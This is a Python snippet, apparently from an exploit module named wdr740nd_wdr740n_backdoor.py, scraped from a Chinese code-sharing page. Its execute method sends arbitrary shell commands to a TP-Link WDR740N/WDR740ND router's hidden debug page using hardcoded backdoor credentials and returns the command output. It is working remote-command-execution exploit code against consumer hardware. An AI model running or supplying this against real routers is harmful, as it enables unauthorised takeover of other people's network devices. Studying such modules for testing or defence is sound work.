def execute(self, cmd):
cmd = quote(cmd)
url = "{}:{}/userRpm/DebugResultRpm.htm?cmd={}&usr=osteam&passwd=5up".format(self.target, self.port, cmd)
response = http_request(method="GET", url=url, auth=(self.username, self.password))
if response is None:
return ""
if response.status_code == 200:
regexp = 'var cmdResult = new Array\(\n"(.*?)",\n0,0 \);'
res = re.findall(regexp, response.text)
if len(res):
# hard to extract response
return "\n".join(res[0].replace("\\r\\n", "\r\n").split("\n")[1:])
return ""
wdr740nd_wdr740n_backdoor.py 文件源码
python
阅读 33
收藏 0
点赞 0
评论 0
评论列表
文章目录